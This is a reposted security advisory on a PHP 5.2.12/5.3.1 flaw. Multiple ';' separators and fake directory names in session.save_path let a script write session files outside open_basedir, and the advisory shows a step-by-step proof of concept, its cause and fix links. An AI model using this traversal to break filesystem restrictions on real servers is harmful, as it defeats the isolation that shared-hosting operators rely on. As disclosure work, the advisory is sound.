天天看点

PHP 5.2.12/5.3.1 session.save_path safe_mode and open_basedir bypass

[ PHP 5.2.12/5.3.1 session.save_path safe_mode and open_basedir bypass ]

Credit: Grzegorz Stachowiak

Provided by: SecurityReason.com

Date:

- Written: 31.01.2010

- Public:  11.02.2010

SecurityRisk: Medium

Affected Software:

PHP 5.2.12

PHP 5.3.1

--- 0.Description ---

PHP is an HTML-embedded scripting language. Much of its syntax is

borrowed from C, Java and Perl with a couple of unique PHP-specific

features thrown in. The goal of the language is to allow web developers

to write dynamically generated pages quickly.

A visitor accessing your web site is assigned a unique id, the so-called

session id. This is either stored in a cookie on the user side or is

propagated in the URL.

session.save_path defines the argument which is passed to the save

handler. If you choose the default files handler, this is the path where

the files are created. Defaults to /tmp. See also session_save_path().

There is an optional N argument to this directive that determines the

number of directory levels your session files will be spread around in.

For example, setting to '5;/tmp' may end up creating a session file and

location like /tmp/4/b/1/e/3/sess_4b1e384ad74619bd212e236e52a5a174If .

In order to use N you must create all of these directories before use. A

small shell script exists in ext/session to do this, it's called

mod_files.sh. Also note that if N is used and greater than 0 then

automatic garbage collection will not be performed, see a copy of

php.ini for further information. Also, if you use N, be sure to surround

session.save_path in "quotes" because the separator (;) is also used for

comments in php.ini.

---- 1. session.save_path safe mode and open basedir bypass ---

session.save_path can be set via ini_set(), session_save_path()

functions. In session.save_path there should be path where you will save

yours tmp files. But syntax for session.save_path is:

[/PATH]

OR

[N;/PATH]

N - can be also a string (N should be numeric).

EXAMPLES:

1. session_save_path("/DIR/WHERE/YOU/HAVE/ACCESS")

2. session_save_path("5;/DIR/WHERE/YOU/HAVE/ACCESS")

The main problem came when we use multiple ';' character and when we

will create fake directory structure to reduce '../'.

Proof of Concept:

0. Create directories:

/humhum

and

/byp

1. set open_basedir = /byp

2. create test.php

{

        session_save_path("/humhum");

        session_start();

}

3. php test.php

Warning: session_save_path(): open_basedir restriction in effect.

File(/humhum) is not within the allowed path(s): (/byp) in /byp/test.php

on line 3

4. subdir.php

mkdir("puf");

mkdir(";a");

5. php subdir.php

6. cd puf

7. create byp.php

session_save_path(";;/byp/;a/../../humhum");

session_start();

8. php byp.php

9. ls /humhum

sess_d905eb71c9ad65ce2a845cdb0fed3016

The main problem is located in session.c. PHP doesn't check, that we

have used next ';' after first. Creating fake directory structure

mkdir ';a'

mkdir '../;a'

we can reduce directory level using '../' .

--- 2. Fix ---

Revision 294272

<a href="http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/session/session.c?view=log">http://svn.php.net/viewvc/php/php-src/branches/PHP_5_3/ext/session/session.c?view=log</a>

<a href="http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/session/session.c?view=log">http://svn.php.net/viewvc/php/php-src/branches/PHP_5_2/ext/session/session.c?view=log</a>

--- 3. Credit ---

Founded by: Grzegorz Stachowiak

Written by: Maksymilian Arciemowicz

Fixed by  : Ilia Alshanetsky

--- 4. Contact ---

Email:

- Grzegorz.Stachowiak

    stachowiak [a,t} analogicode (d_0t} pl

- Maksymilian Arciemowicz

    cxib {a.t] securityreason [d0_t} com

GPG:

<a href="http://securityreason.com/key/Arciemowicz.Maksymilian.gpg">http://securityreason.com/key/Arciemowicz.Maksymilian.gpg</a>

<a href="http://securityreason.com/">http://securityreason.com/</a>